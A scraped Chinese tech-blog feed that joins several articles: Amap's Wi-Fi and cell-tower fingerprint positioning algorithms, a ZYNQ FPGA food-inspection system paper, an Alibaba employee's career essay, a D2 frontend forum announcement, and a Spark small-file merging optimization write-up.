        • 冷启动时间长。GPS启动时,需要进行搜星,锁定卫星信号,然后再进行位置技术,这个过程可能会达到几十秒,即使采用诸如AGPS等技术,仍然有秒级的时间无法定位。
        • 室内或有遮挡的场景。GPS信号弱,无法有效定位。

        用户需要持续的有效定位,因此需要另一个技术对GPS进行补充,这就是网络定位技术。

        网络定位是将手机设备收到的信号(主要是基站、Wifi、蓝牙)发送到网络服务器,获得位置。之所以要将信号数据发送到网络上,是因为网络定位是利用信号指纹进行定位,需要一个庞大的且持续更新的指纹数据库,这个数据库难以同步到移动设备上。为了进行定位,需要事先建立每个位置的指纹特征,然后在定位时用实时指纹比对每个位置的历史指纹,确定位置。

        高德网络定位不仅承担着高德地图用户的定位请求,还面向国内所有主流手机厂商,以及国内30万以上App提供服务,日均处理请求千亿次,峰值QPS百万级。

        在过去的几年中,高德网络定位算法经历了从无监督算法向有监督算法的演进,从定位精度、定位能力透出等方面都有了显著的提升。

        注:高德网络定位只存在于安卓平台上,在iOS上由于苹果公司未开放任何定位相关的指纹数据(Wifi、基站列表等),定位结果全部来自于iOS自身。

        2.基于聚类的无监督算法
        经典的指纹定位算法是无监督算法,其核心是计算指纹的相似性,用指纹确定位置。下图是一个例子,AP代表手机扫描到的基站和Wifi设备编号,纵轴代表不同的位置,二者交点的数值代表该位置扫描到该AP的信号强度,为空代表该位置没有扫描到该AP。
        fangxing1.png

        要对一个新定期请求进行定位(比如AP1:-30,AP2:-50,AP3:-90),一个最简单的方法,是用KNN逐一计算该指纹与历史指纹的相似度(比如用L2距离或者余弦相似度),取相似度最大的历史位置作为用户位置。

        这有两个问题,第一是计算量太大(AP是10亿量级,loc是千亿量级),无法满足实时定位的要求,第二是历史指纹在局部可能比较稀疏,对于用户指纹无法精确匹配。

        于是需要对历史数据进行预处理,提取出AP和网格的通用指纹,这样在定位时只需要比对一次即可。下图是利用一个AP的历史采集位置进行聚类,获得AP实际位置和覆盖半径的过程,有了每个AP的位置,在定位时将多个AP的位置进行加权平均即可获得最终位置。
        fangxing2.png

        这种方法需要解决的一个挑战是当有多个候选位置时如何选择,如下图所示,有两个候选位置。
        fangxing3.png

        fangxing4.png

        此时需要设计一个策略进行簇选择,基于每个簇的特征进行打分,找出最有可能的一个簇作为用户位置。

        基于加权平均的定位,速度很快,但精度比较差,原因是指纹在空间上的分布并不是连续的,而可能受到建筑、地形、道路的影响,呈现一种不规则的分布,于是在上面定位方式的基础上,发展出一种基于格子排序的算法,可以更精准的定位。

        首先将地球划分为25*25的网格,然后统计每个网格内的指纹特征,最后进行格子排序。设候选网格为l,信号向量是S,则定位过程就是计算
        fangxing5.png

        根据贝叶斯公式,有
        fangxing6.png

        根据1-1,由于所有候选网格的分母相同,只需要计算分子,即:
        fangxing7.png

        其中P(l)是某个位置在全量用户位置中出现的概率,可以用定位PV表示,而P(S=S0|l)则需要计算在每个网格内出现某种信号向量的概率,由于向量维数高,概率难以计算,因此对不同维进行独立假设,认为每个信号出现的概率是独立的。有:
        fangxing8.png

        这样,可以基于历史指纹对每个网格内的每个AP的信号强度进行直方图统计,即可计算出概率,最后对所有格子的概率进行排序,获得概率最高的那一个,如下图:
        fangxing9.png

        3.基于分层排序的有监督算法
        无监督算法的一个问题,是难以迭代,对于badcase无法进行有效优化,一旦调整策略就会影响到其他case,无法获得全局最优。

        因此,有监督学习就变得很有必要,高德定位从近两年开始全面转向有监督学习,持续进行特征和模型设计,提升效果,取得了不错的收益,解决了50%以上的大误差问题(5公里以上),在移动Wifi识别上获得了99%以上的识别准确率。

        有监督学习需要使用大量的特征,特征的计算需要消耗较多资源,考虑到定位服务要承受10万以上的QPS,模型的复杂性与效果同等重要,因此我们首先将定位服务进行了分层,上面的层级针对大网格,计算粗略的位置,下面的层级针对小网格,逐步细化位置。这样可以极大减少不必要的计算,在性能和效果间取得平衡。
        fangxing10.png

        对于每一个单独的算法模块,都采用类似下面的神经网络模型对每个候选网格进行打分,再使用LTR损失函数作为目标进行训练,从而获得神经网络的参数。在特征方面,同时考虑以下三类:

        • AP的动态特征,比如信号强度
        • 网格特征,比如PV、UV、AP数、周边候选网格数等
        • AP在网格上的特征,比如信号强度分布、PV、UV等

        采用这种方法可以解决绝大部分格子选择不准确的问题,遗留的一个问题是当定位依据特别少的时候,比如只有一个基站和一个Wifi,二者分别位于距离较远的两个网格,此时无论选择哪个都有50%的错误概率。为了解决这个问题,我们引入了用户历史定位点辅助进行各自选择。

        在特征部分加入历史定位点序列,输出一个历史位置特征(可以看成是一个预测的新位置),让这个预测位置参与网格打分。当有两个距离较远但打分接近的网格进行对比时,通过预测位置进行加权。这样模型应该可以学出这样的规律:如果网格距离预测位置比较远,打分就降低,如果比较近,分就高。通过这个方法,大误差case的比例可以降低20%。

        4.场景化定位
        用户在不同场景下对定位的要求是不同的,比如用户在旅途中可能只需要知道大致的位置,不需要很精确,但是在导航时就需要精确的知道自己在哪条道路上,距离出口多远。

        因此,除了在整体算法架构上进行优化,高德还在不同特定场景上进行针对性的优化,满足用户不同场景下的定位需求。

        室内场景

        指纹定位的一个局限,是需要采集带GPS的样本作为真值进行训练,由于GPS只能在室外被采集到,即使用户在室内,其定位结果有很大概率在室外,这会对用户造成不少困扰,特别是在用户准备出行的时候,其定位点的漂移会导致起点偏离真实位置较大。

        为了解决这个问题,有两个解决办法,一是采集室内真值,但这种方法需要大量人工采集工作,工作量巨大,目前高德在一些热门商场和交通枢纽进行人工指纹采集(除了基站Wifi还支持蓝牙、传感器定位)。第二个办法是借助大数据,无需人工干预,对Wifi进行建筑/POI关联,用建筑/POI位置去修正定位结果。

        Wifi-POI关联有多种方法,一个简单的方法是用POI名字与Wifi名字的相似度判断是否有关联,比如麦当劳的Wifi名字就是McDonald,关联的时候需要考虑中英文、大小写、中英文缩写等。从名称能分析出关联关系的Wifi毕竟是少数。另外一种覆盖能力更强的方法是利用Wifi信号分布规律去挖掘Wifi的真实位置,毕竟绝大部分Wifi都是部署在室内的。

        这里我们采用的是CNN的方法,将楼块数据、POI数据、采集真值数据绘制为二维图像,然后进行多层卷积计算,label为Wifi所在的真实楼块区域。下图中蓝色块为楼块,绿色为采集点,颜色越亮代表信号强度越高,红色点代表Wifi真实位置。
        fangxing11.png

        目前算法能挖掘出30%Wifi对应的真实位置,在最终定位效果上,用户在室内时,能正确定位到室内的样本比例提升了15%

        高铁场景

        从用户报错情况看,有大量报错是用户乘坐高铁时定位异常。高铁在近两年开通了车载Wifi,这些Wifi都是移动Wifi,因此这些AP是没有一个固定位置的,如果不进行任何处理,算法训练获得的Wifi位置一定是错误的,很大概率会在沿途的某个车站(用户集中,采集量高)。

        针对这种场景,需要将移动Wifi全部去除再进行定位。我们开发了针对高铁和普通场景的移动Wifi挖掘算法,利用采集点时空分布等特征判断某个Wifi是否移动,挖掘准确率和召回率均超过99%,可以解决绝大部分高铁定位错误的问题。

        地铁场景

        地铁场景有点类似高铁,用户扫到的Wifi基本都是移动Wifi(少量车站有固定Wifi),因此只能借助基站进行定位。但基站深埋地下,缺乏采集数据,如何获得基站的真实位置呢?我们采用了两种策略,第一个策略是利用相邻基站信息,当用户在一个请求里或者在短暂时间段内同时扫描到地铁基站(无GPS采集)和非地铁基站(有GPS采集)时,我们可以用后者的位置去推算前者位置,当然这种方式得到的基站位置不太准确。于是我们进行了进一步优化,利用用户轨迹去精准挖掘出每个请求对应的地铁站,从而构建出指纹对应的真值。

        基于以上方法,地铁内的定位精度可达到90%以上,实现地铁报站和换乘提醒。

        5.未来演进
        在未来,定位技术特别是移动设备的定位技术还将快速发展,主要突破可能来自以下方面:

        图像定位:谷歌已经发布了基于街景的AR定位,可以解决在城市峡谷区域内的精准定位。这种定位利用了更丰富的数据源,对用户体验的提升也会非常显著。

        5G定位:5G相比4G,频率更高,频带更宽,用于测距时精度更高(比如利用相位差进行传输时间计算),行业协会也在孵化5G定位相关的标准,运营商在未来可能会支持基于5G网络的定位,届时在5G覆盖区将会有类似GPS精度的定位效果。

        IOT定位:随着物联网的普及,基于NB-IOT的定位技术也会应运而生,它可以使用类似基站定位的方法,或者使用P2P定位的方法为物联网设备进行定位。

        ]]>
        基于ZYNQ的流水线食品外观检测系统设计 Fri, 02 May 2025 09:39:04 +0800 0 引言

          随着人们物质生活水平的提高,对食品质量要求也越来越高,而国家经济的快速发展促进食品生产速度随之提升,因此,如何在流水线上保证生产速度的同时检测食品质量已逐渐成为研究问题。

          目前,市面上存在的图像传感器中,大多以模板匹配的方法对特定规格的产品进行检测,如车牌、饼干、门窗等,而对于许多不规则的食品如凤爪、鸭翅、虾仁等却无法对其包括产品尺寸、传送方向等进行有效检测。本设计采用具有双核的ARM-Cortex TM -A9处理系统(PS)和Artix-7可编程逻辑(PL)的ZYNQ作为主控制和算法处理单元,通过图像测量方法提取不规则食品外观共同特征,是进一步检测食品传送方向是否与流水线方向一致,以及食品缺损问题的关键。

          从我国食品发展行业趋势来看,市场上需要能够应用在流水线上的高精度、针对无特定性状食品检测处理的图像传感器,因此其具有十分广阔的市场前景。

          1 系统的总体结构

          整个系统由图像采集模块OV5640、图像处理模块、VGA显示模块、机械执行模块以及光电开关组成。如图1所示。

          图像处理模块是整个系统的控制核心。图像采集单元通过单目摄像头OV5640对食品生产线上的食品成品进行采集,由光电开关检测当前图像采集区域是否有完整食品传入,将触发信号传送给ZYNQ平台对实时采集到的图像数据进行灰度化、阈值分割、图像膨胀、特征提取,以实现运动食品的检测,并对当前检测食品传送方向是否正确以及是否存在缺损作出判断。通过控制分拣开关,将次品与合格品分类集中,方便下一步的产品生产包装工艺。

        image.png

        image.png
        image.png

          视频图像显示单元是在FPGA控制下对处理前后的视频图像进行显示 [1] 。其中图像测量算法是基于背景颜色的图像分割算法,它是本文在灰度阈值分割算法基础上提出的一种适合本系统的算法。

          2 图像采集及显示系统设计

          图像采集系统平台的设计主要包括以下几个部分:单目OV5640摄像头模组,用来实现图像的采集;ZNYQ-7000系列开发板用来实现摄像头采集、数据存储与传递以及完成图像处理算法;VGA显示器用来显示摄像头实时采集的图像以及经ZYNQ开发板处理后的结果。

          2.1 OV5640摄像头模块

          本模块设计中采用美国OmniVision公司的CMOS图像传感器OV5640。OV5640拥有2590×1944的感光阵列,能够以15帧的500万像素的分辨率记录图像,并且可对输出数据格式、图像分辨率、输出帧率以及图像特性等进行配置,满足许多应用需求 [2] 。其摄像头模组通过DVP接口和FPGA连接实现图像的传输,具体参数及主要特性如下:

          (1)具有标准的SCCB接口;

          (2)支持多种视频输出格式:RAW RGB、RGB565/555/444、YCbCr422等;

          (3)支持VGA、QVGA以及1080P分辨率输出;

          (4)支持数字视频端口(DVP)并行输出接口和双车道MIPI输出接口。

          OV5640图像数据采集模块是整个系统的输入模块,它主要负责将摄像头采集到的图像数据传送到FPGA例化的存储器中,使用DVP传输视频时,PCLK为像素时钟,HREF为行同步信号,VSYNC为场同步信号,数据线为8 bit,在FPGA中配置RGB565输出。

          OV5640芯片采集的数据通过FPGA软核VDMA0、VDMA1分别用作视频的输入,将数据写入与PS端相连的DDR中,以及视频的输出。ARM核完成对存储数据的图像处理及分析算法。使能的VDMA在DDR中读取相应的数据,数据经过图像测量算法提取特征后再输出。VDMA获取的数据均为符合AXI4协议的32位数据,经过32位数据转24位RGB 888格式数据后,根据VGA输出协议,在相应的时序控制下,依次转换为DVI数据输出到VGA显示器中 [3] 。

        image.png

          2.2 VDMA配置模块

          VDMA是针对视频图像处理的一个特殊的DMA。在ZYNQ-7000的PS中,包含处理器和DDR存储器控制器;而在PL中,实现AXI DMA和AXI数据FIFO。通过AXI-Lite总线,处理器与AXI DMA通信,用于建立、初始化和监控数据传输。VDMA有一个AXI4 MemoryMap接口,用于对存储器进行读写视频数据,AXI4-Lite接口用于读取VDMA状态以及配置VDMA的参数;AXI4-Stream接口用于视频的输入和输出。VDMA系统结构原理如图2所示。

          在该设计中,AXI_MM2S和AXI_S2MM是存储器映射的AXI4总线,提供了对DDR存储器的访问。AXIS_MM2S和AXIS_2MM是AXI4 Stream总线,它可以连续的传输数据,而不需要提供地址信息 [4] 。

          2.3 VGA显示设计

          VGA显示模块分为:上电等待模块、寄存器配置模块、摄像头采集模块、SDRAM控制模块以及系统控制模块。其中FIFO控制模块原理机制如图3所示。

          由于视频图像数据通过ZYNQ系统的高速AXI_HP0口输出,系统使用AXI_VDMA IP核来通过AXI_interconnect连接ZYNQ系统的HP0口,AXI_subset_converter来进行数据格式的转换,转换为24位的视频图像数据,V_axi4s_vid_out IP将视频流装换成RGB888的视频格式信号。最后视频图像通过自定义IP核(rgb2dvi)转换成TMDS信号驱动VGA显示器显示图像。构架好的系统如图4所示。

          2.4 光电开关检测设计

          为减少图像数据处理量,并较准确确定视频图像流中哪一帧中食品进入到单目摄像头图像采集区域内,系统设计中采用对射式光电开关来检测目标,并将触发信号传送到ZYNQ中,在间隔一定时间后处理当前帧图像,确保其采集食品图像的完整性。

          采用对射式的光电开关可分辨不透明的反光物体,有效距离大,不易受干扰,灵敏度高,并且响应时间快,可将触发信号传送给ZYNQ平台的I/O口作为进行图像测量的起始信号。

        image.png

          3 系统软件设计

          图像处理部分包括:图像预处理、图像膨胀及基于图像测量的特征提取。软件设计流程如图6。

          3.1 图像预处理设计

          针对不规则食品外观的检测,首先要对图像进行预处理,再进一步用图像测量算法提取图像特征。本文提取的特征是基于灰度图像的,需将采集到的24位真彩色图转换为灰度图

        image.png

          由于光源和实际拍摄的情况,采集到的图像可能含有噪声,为排除噪声的影响,先对图像进行去噪的处理。根据项目需要,采用中值滤波的方法。这种非线性的图像平滑法对脉冲干扰级的椒盐噪声抑制效果较好,能保护边缘少受模糊的影响。

          3.2 图像形态学处理

          为了更加明显区分背景与目标,需将灰度图进行二值化处理来区分凤爪与传送带。采用阈值分割的方法,根据阈值将图像中灰度级大于阈值的像素点和小于像素值的像素点分开,从而实现图像分割 [5] 。

        image.png

          其中,T为预设的阈值,从0~255中取值,具体大小由工业流水线实际环境决定,根据多次试验可选取150作阈值分割,是目标为黑色,背景为白色。

        image.png

          根 据 图像 特 征 提 取算 法 识 别 的要 求 , 需 通过遍历像素值所在区域通过黑白像素值边界的跳跃次数来区分爪趾的数目及食品被放置方向与传送带方向是否一致,因此需要保证目标的连通性要完整,将得到的二值化图像进行一轮腐蚀膨胀,以消除噪声点,使不连续的地方连接起来,为下一步的图像识别及特征提取做基础。

          本系统中以凤爪为例,对二值化后的目标凤爪进行图像膨胀,采用15×15大小的方阵集合做膨胀的结构元素。关键源代码如下(定义flag为记录结构元素区域内各像素值与运算后的结果):

          for(j=0;j

          for(i=0;i

          flag=1; //赋初值

          //采用15×15大小结构元素作掩膜处理

          for(m=j-1;m

          for(n=i-1;n

          if(image_inj==0||image_inm==0)

          {flag=0;break;}

          else{flag=1;}}

          if(flag==0){break;}}

          //根据flag值来输出膨胀后结果

          if(flag==0){image_outj=0;}

          else{image_outj=255;}}}}

          通过图像膨胀后的结果如图7所示:可去除二值化结果中的不连续的噪声点及食品本身瑕疵的影响。

          3.3 图像测量算法设计

          机器视觉定位的最终目的是利用工业相机采集运动食品的图像,再通过算法确定运动目标的特征点与特征边缘,以方便进行机械分拣 [6] 。对于在高速流水线上采集到的视频图像流进行处理,首先,通过光电开关的触发信号在视频流中确定食品目标已全部进入图像采集区域,对该帧图像作图像识别,并在确定帧图像后,识别目标送入方向是否正确及是否存在残缺。

          对于阈值化并经过图像膨胀处理后,目标区域是完整的连通区域,可通过遍历查询提取该不规则图像边缘特征。从凤爪这个研究对象的特点来看具有以下特性:

          (1)从形状上看,凤爪共有4个指头,其中一端较短,其余三个指头较长,中间者为最长。骨干部分占整个长度的一半左右。

          (2)从颜色上看,凤爪色泽绛红,深浅程度基本一致,掌心部分偏暗红。

          以上分析,作为待识别的凤爪,虽然是不规则形状,但无论从颜色还是形状上,都能保持一个较稳定的特性,因此在编写算法程序中,可通过数组记录图像的每行像素值黑白边界跳跃次数,以此提取流水线上加工食品特征,并根据不同食品特征要求通过遍历特征数组及测量算法作判别,按照判别结果启动分拣开关将食品归入不同的箱中。

          4 结论

          本文针对食品流水线上的图像外观辨别问题进行了分析与解决方案的提出,利用图像测量的方法对不规则食品进行特征提取,并采用ARM+FPGA结构的实时图像处理平台以及光电开关的结合,使系统小型化,利于后期进一步开发、成本降低,便于针对特定应用定制等优势、具有较高的工程应用参考价值,流水线食品辨别系统拥有广阔的应用空间。

          参考文献

          [1].杜文略,刘建梁,沈三民等.基于FPGA的运动目标检测系统设计[J].电子技术应用,2014,40(11):36-42.

          [2].张震.基于FPGA的USB3.0高速图像采集系统设计与图像特征提取算法研究[D].西安电子科技大学开发板的摄像头采集与处理系统实验设计与实现[J].计算机教育,2018(4):23-26.

          [3].何宾,张艳辉.Xilinx Zynq-7000嵌入式系统设计与实现[M].北京:电子工业出版社.2016.

          [4].吴长冶.食品(虾仁)分拣系统中的图像处理算法的研究[D].南京理工大学.2012.

          [5].李明.运动食品机器视觉的识别与定位技术的研究[D].哈尔滨商业大学.2014.

          [6].胡健.基于Zynq的智能相机图像处理流水线程序优化与实现[J].通信设计与应用.2017(10):3-4.

          作者简介

          王明全(1973-),男,博士,讲师,主要研究方向:信号与信息处理.

          本文来源于科技期刊《电子产品世界》2019年第6期第41页,欢迎您写论文时引用,并注明出处

        ]]>
        阿里主管通知我试用期延期…… Fri, 02 May 2025 09:39:04 +0800

        image.png

        阿里妹导读:接下来的文章是一篇发布在阿里内网里的文章。花木是一位走出体制的博士,讲述自己Landing的经历。今天,她将这段经历分享给大家,告诉我们:脸先着地又怎样,哪有那么多坦途;最美的,是翻山越岭的一路风景;最幸福的,是酣畅淋漓地打拼后见到了更好的自己。

        来阿里之前,我在体制内呆了12年,体制内的人,在一个单位呆十几二十年甚至一辈子,非常正常。然而,在阿里很多人曾冒出离开的念头。我也有好几次想过离开,但最终留下来了。今天就来讲一讲,体制内的我,在阿里这几年的经历和感悟。

        试用期延期,从P9降到P8

        2014年,我踌躇满志的来到了阿里集团法务部,设立法研团队,准备以法学博士的学历、从事法律政策研究12年的工作经历,在阿里大展身手。然而3个月的时候,我却被延长了试用期,6个月的时候,主管和HRG告诉我,希望我留下来,但要从P9降到P8。

        来阿里之前,顺风顺水,对于习惯了当学霸,一路顺风顺水的我来讲,真的是遇到了人生中第一个大坎儿。那一刻的第一想法肯定是离开。离开很容易、找个工作也不难,但阿里之旅就这么结束了吗?如果就这么结束,就是认输,就是承认自己跳不出以前的舒适圈,想到这些,心里又有点不甘。就是因为这一丝的不甘心,让我接受了这个管理决定,留了下来。

        忘记9or8的层级,先聚焦手头最重要的事情,深入业务、贴地飞行。当时,为了完成对某项意见的反馈,我们跟BU法务对焦之外,又用1个多月的时间和业务团队对接,深入了解业务需求、整理、反馈,结合自己和团队同学的专业优势,形成了质量很高的反馈意见稿。让合作的内部团队和外部的学者、立法机构看到了阿里的专业和认真。以此为契机,集团法务建立了常态化的标准流程,对我而言,是认识了很多业务的同学、理解了很多业务的细节,尽管刚开始对他们满嘴的专业术语并不理解,经常跟不上他们机关枪式的语速,但我开始真正了解阿里巴巴,嗯,这个地方来对了。

        image.png

        “真实的面对自己”这句话是我在一次培训的时候听阿里合伙人戴珊讲的,她说出这句话的时候,我内心一震。这几年看下来,所谓真实的面对自己,是既不妄自尊大、也不妄自菲薄,是一个不断自省、跟自己对话的过程。尽管被降级我还是留下来,一方面是相信以自己过往的经历和经验,一定能在阿里有用武之地,只是自己还没找到怎么样把能力在阿里发挥的路径和方法;另一方面,是各种发自内心的不服气,凭什么村里的高考状元、堂堂博士在一个公司都无立锥之地!?然后,就沉下心来,做好一件事情、两件事情,在过程中不断总结好的、反省不好的,后来发现,最终受益的是自己,让自己变得更强大。

        现在脑海中经常出现的一句话是:宠辱不惊,看庭前花开花落;去留无意,望天上云卷云舒。真实的面对自己!

        转岗做业务,跳进了“坑”里

        2015年冬天我转岗到了钉钉,一支创业团队。

        跟钉钉的缘分,一开始,我就作为法务在支持,跟业务走的很近后,发现原来自己的知识和经验越来越有发挥的空间,觉得既然这样了就索性跳进去业务看看。

        但是到了钉钉的第一件事情,就是一个巨大的“惊喜”——钉钉的一个爆款产品必须在1个月内下线。印象最深就是那天下午,我和一位同学在办公楼外的马路牙子上呆呆的坐了3个小时,不知道能干点儿啥~~~(想起来就凄凉)。之后的一个月我们进入了疯狂的状态,跑了很多家供应商,在碰了十几次壁后,终于在7月26日开始跟一家合作伙伴开发新业务。当时的状态是:早晨最早一班火车去南京跟合作伙伴讨论,晚上回来,继续画图coding,几乎每周2-3次。每天开发出来的一个功能就找最近的同事、用户共创,连夜修改。用了2个月的时间,到9月18日钉钉3.0发布会,主题是“呼吸”,发布了新的替代产品。那一刻,活过来,深深的吸了一口新鲜的空气。2016年,当时觉得是天大的事情,今天只是写在钉钉历史上的一个故事。

        image.png

        这样的事情,在钉钉并不稀奇,“谁是钉钉、你就是钉钉”这句话是钉钉同学身上的烙印。根据我这三年多在钉钉的体会,一是产品得到了来自用户的认可和期待,变成不管多苦都能持续坚持下去的最大动力,但前提是要贴近用户;二是你坚持,世界就会因你而不同,只要你坚持,运气就会变得很好,关键的时候就会有很多人来帮你;三是我真正了解了产品是怎么做出来的,从以前一个法学学究,变成一个懂产品、懂业务的人,跟以前的同学同事聊天他们都用崇拜的眼光看着我,特有成就感;四是收获了一堆可以把后背交给彼此的战友。

        印象最深刻的一件事,2016年得了带状疱疹,全身痛痒所以需要穿宽松的衣服,我开玩笑跟同事说,自己要穿睡衣去上班了……结果第二天我打扮美美的到了项目室,一堆平日里经常穿着公司发的T恤的码农们穿了一堆花花绿绿的睡衣:有戴兔子耳朵的、有印小花的、有毛茸茸的……当时家人是坚决要求我离开杭州回北京的,因为那一屋子的睡衣,我留下来了。

        在阿里要“打得开,放得下”

        2019年我担任钉钉一个项目的总PM,用一个季度的时间快速的把产品、市场、PR和前线团队协同起来,拿到了不错的结果。但是战役打完,需要把战役积累的经验常态化、数字持续化,发现需要跟原来做这件事情的同事拉通、相互理解,需要引入更多的资源,需要改变原来的生态规则和玩法,需要沟通、说服的人很多,想不通为什么明明已经证明了的事情不能快速复制、明明自己认为正确的事情别人就理解不了,我就变得很焦躁,有一段时间状态很差,看见谁都想吵一架。

        这个时候,有一个爱唠叨的老板就变得很重要,我每次跟别人吵完,就会气呼呼的去找大炮(阿里合伙人)吐槽,然后大炮就跟我说**“慢慢来,不着急,每个人都不容易,你要打开、放下,看到别人的长处,学会赞美别人”。
        **

        半年过去了,尽管我还没做到每次都赞美别人,但明显感觉到周围的人更好沟通、更容易达成共识,我自己的耐性也变得更好,真正的开始理解“视人为人”的内涵。

        image.png

        保持“好奇心”

        回顾过去这五年,很多人遇到降级,就选择了离开。但对我而言,每次遇到挫折,反而是一个更加真实的认识自己的过程,逼着自己去想清楚为什么、什么是自己真正想要的,如果这样的经历可以让我变成更强大的自己、为未来带来更大的空间,那一时的得失、降级降薪这些事情还有那么重要吗?

        现在加入阿里很多同学,可能都是行业大拿或极强的专业背景,刚来阿里,一定遇到各种的不适应,但我想说:要相信自己,相信自己是有能力的,否则你也进不来阿里,相信你过去积累的逻辑能力、专业经验会有一天在阿里有用武之地。在此之前,要先沉下心来找一件事情认真的做好,对,在阿里要自己找事情做,坚定的做下去。沉入到同学中间,看下产品经理们怎么样快速画出一个xmind,前端同学看他们怎么做个TMS页面,看下BI的同学怎么分析那些枯燥的数据神奇的发现了一个新的机会……阿里足够大,只要你有好奇心,你学到的越来越多,会慢慢的发现自己更多的潜力,强到你自己都不敢相信。

        2019年9月1日,我在阿里5周年,尽管过去了好几个月,尽管我最近记性变得很差,但我清楚的记得那天是个周日,当我看到钉钉上推送来简单的几个字:“亲,恭喜你,五周年快乐”,那一刹那,脑袋里突然一片空白,准确的说,是脑袋里突然冒出一片清澈的天空,宁静而开阔。没有奔流而出的眼泪,没有想象中的百感交集,我轻轻地对自己露出一个浅浅的微笑,阿里人,欢迎你。

        注:文中花木为化名。

        image.png

        ]]>
        阿里巴巴D2 前端论坛最全视频来了!(附PPT下载) | 6大专题持续更新 Fri, 02 May 2025 09:39:04 +0800 摘要:D2 前端技术论坛 (Designer & Developer Frontend Technology Forum, 简称 D2),是由阿里经济体前端委员会主办的面向全球前端领域的技术论坛,立志于建设一个促进业内交流、引领前端领域发展的平台。目前 D2 已经成功地举办了13届,为国内外前端领域的开发者和设计者提供了共同探讨行业发展的机会,以技术会友、一起分享技术的乐趣。

        12 月 14 日,第十四届 D2 前端技术论坛在杭州圆满举办。来自全国各地的近千名开发者齐聚杭州,聆听 3 大会场、来自 24 位海内外嘉宾的 21 个主题分享。今天,开发者社区整理了6大演讲主题中10位精彩演讲者的视频,供大家交流学习。

        点击pdf下载,收获全套资料

        image.png


        大会开场致词

        圆心 / 阿里经济体前端委员会委员长

        点击查看视频>>>



        智能化专场
        ]]> Spark 小文件合并优化实践 Fri, 02 May 2025 09:39:04 +0800 作者:梁世威,同盾科技平台工具部研发工程师,从事开源大数据计算/存储和优化方面的工作。


        “ 对 spark 任务数据落地(HDFS) 碎片文件过多的问题的优化实践及思考。”

        此文是关于公司在 Delta Lake 上线之前对Spark任务写入数据产生碎片文件优化的一些实践。

        • 形成原因
          数据在流转过程中经历 filter/shuffle 等过程后,开发人员难以评估作业写出的数据量。即使使用了 Spark 提供的AE功能,目前也只能控制 shuffle read 阶段的数据量,写出数据的大小实际还会受压缩算法及格式的影响,因此在任务运行时,对分区的数据评估非常困难。
        1. shuffle 分区过多过碎,写入性能会较差且生成的小文件会非常多。
        2. shuffle 分区过少过大,则写入并发度可能会不够,影响任务运行时间。
        • 不利影响
          在产生大量碎片文件后,任务数据读取的速度会变慢(需要寻找读入大量的文件,如果是机械盘更是需要大量的寻址操作),同时会对 hdfs namenode 内存造成很大的压力。

        在这种情况下,只能让业务/开发人员主动的合并下数据或者控制分区数量,提高了用户的学习及使用成本,往往效果还非常不理想。
        既然在运行过程中对最终落地数据的评估如此困难,是否能将该操作放在数据落地后进行?对此我们进行了一些尝试,希望能自动化的解决/缓解此类问题。

        01 一些尝试

        大致做了这么一些工作:

        1. 修改 Spark FileFormatWriter 源码,数据落盘时,记录相关的 metrics,主要是一些分区/表的记录数量和文件数量信息。
        2. 在发生落盘操作后,会自动触发碎片文件检测,判断是否需要追加合并数据任务。
        3. 实现一个 MergeTable 语法用于合并表/分区碎片文件,通过系统或者用户直接调用。

        第1和第2点主要是平台化的一些工作,包括监测数据落盘,根据采集的 metrics 信息再判断是否需要进行 MergeTable 操作,下文是关于 MergeTable 的一些细节实现。

        1.1 使用 extensions 扩展语法

        功能:

        1. 能够指定表或者分区进行合并
        2. 合并分区表但不指定分区,则会递归对所有分区进行检测合并
        3. 指定了生成的文件数量,就会跳过规则校验,直接按该数量进行合并

        语法:

        merge table [表名] [options (fileCount=合并后文件数量)]  --非分区表
        merge table [表名] PARTITION(分区信息) [options (fileCount=合并后文件数量)] --分区表
        

        碎片文件校验及合并流程:

        image.png

        1.2 性能优化

        对合并操作的性能优化

        1. 只合并碎片文件
          如果设置的碎片阈值是128M,那么只会将该表/分区内小于该阈值的文件进行合并,同时如果碎片文件数量小于一定阈值,将不会触发合并,这里主要考虑的是合并任务存在一定性能开销,因此允许系统中存在一定量的小文件。
        2. 分区数量及合并方式
          定义了一些规则用于计算输出文件数量及合并方式的选择,获取任务的最大并发度 maxConcurrency 用于计算数据的分块大小,再根据数据碎片文件的总大小选择合并(coalesce/repartition)方式。

        a.开启dynamicAllocation
        maxConcurrency = spark.dynamicAllocation.maxExecutors * spark.executor.cores

        b.未开启 dynamicAllocation
        maxConcurrency = spark.executor.instances * spark.executor.cores

        以几个场景为例对比优化前后的性能:

        场景1:最大并发度100,碎片文件数据100,碎片文件总大小100M,如果使用 coalesce(1),将会只会有1个线程去读/写数据,改为 repartition(1),则会有100个并发读,一个线程顺序写。性能相差100X。

        场景2:最大并发度100,碎片文件数量10000,碎片文件总大小100G,如果使用 repartition(200),将会导致100G的数据发生 shuffle,改为 coalesce(200),则能在保持相同并发的情况下避免 200G数据的IO。

        场景3:最大并发度200,碎片文件数量10000,碎片文件总大小50G,如果使用 coalesce(100),会保存出100个500M文件,但是会浪费一半的计算性能,改为 coalesce(200),合并耗时会下降为原来的50%。

        上述例子的核心都是在充分计算资源的同时避免不必要的IO。

        1. 修复元数据
          因为 merge 操作会修改数据的创建及访问时间,所以在目录替换时需要将元数据信息修改到 merge 前的一个状态,该操作还能避免冷数据扫描的误判。最后还要调用 refresh table 更新表在 spark 中的状态缓存。
        2. commit 前进行校验
          在最终提交前对数据进行校验,判断合并前后数据量是否发生变化(从数据块元数据中直接获取数量,避免发生IO),存在异常则会进行回滚,放弃合并操作。

        数据写入后,自动合并效果图:

        image.png

        02 后记

        收益

        该同步合并的方式对用户完全透明,已经在我们的线上稳定运行了1年多,成功的将平均文件大小从150M提升到了270M左右,提高了数据读取速度,与此同时 Namenode 的内存压力也得到了极大缓解。

        对 MergeTable 操作做了上述的相关优化后,根据不同的数据场景下,能带来数倍至数十倍的性能提升。

        缺陷

        因为采用的是同步合并的方式,下游任务的启动时间会有一定后延,同时由于没有事务控制,所以在合并过程中数据不可用,这也是我们后来开始引入 Delta Lake 的一个原因。


        原文链接:
        https://mp.weixin.qq.com/s/195nFBH0kpZEXekHiQAfrA


        阿里巴巴开源大数据技术团队成立Apache Spark中国技术社区,定期推送精彩案例,技术专家直播,问答区近万人Spark技术同学在线提问答疑,只为营造纯粹的Spark氛围,欢迎钉钉扫码加入!
        image.png

        对开源大数据和感兴趣的同学可以加小编微信(下图二维码,备注“进群”)进入技术交流微信群。

        image.png

        ]]>
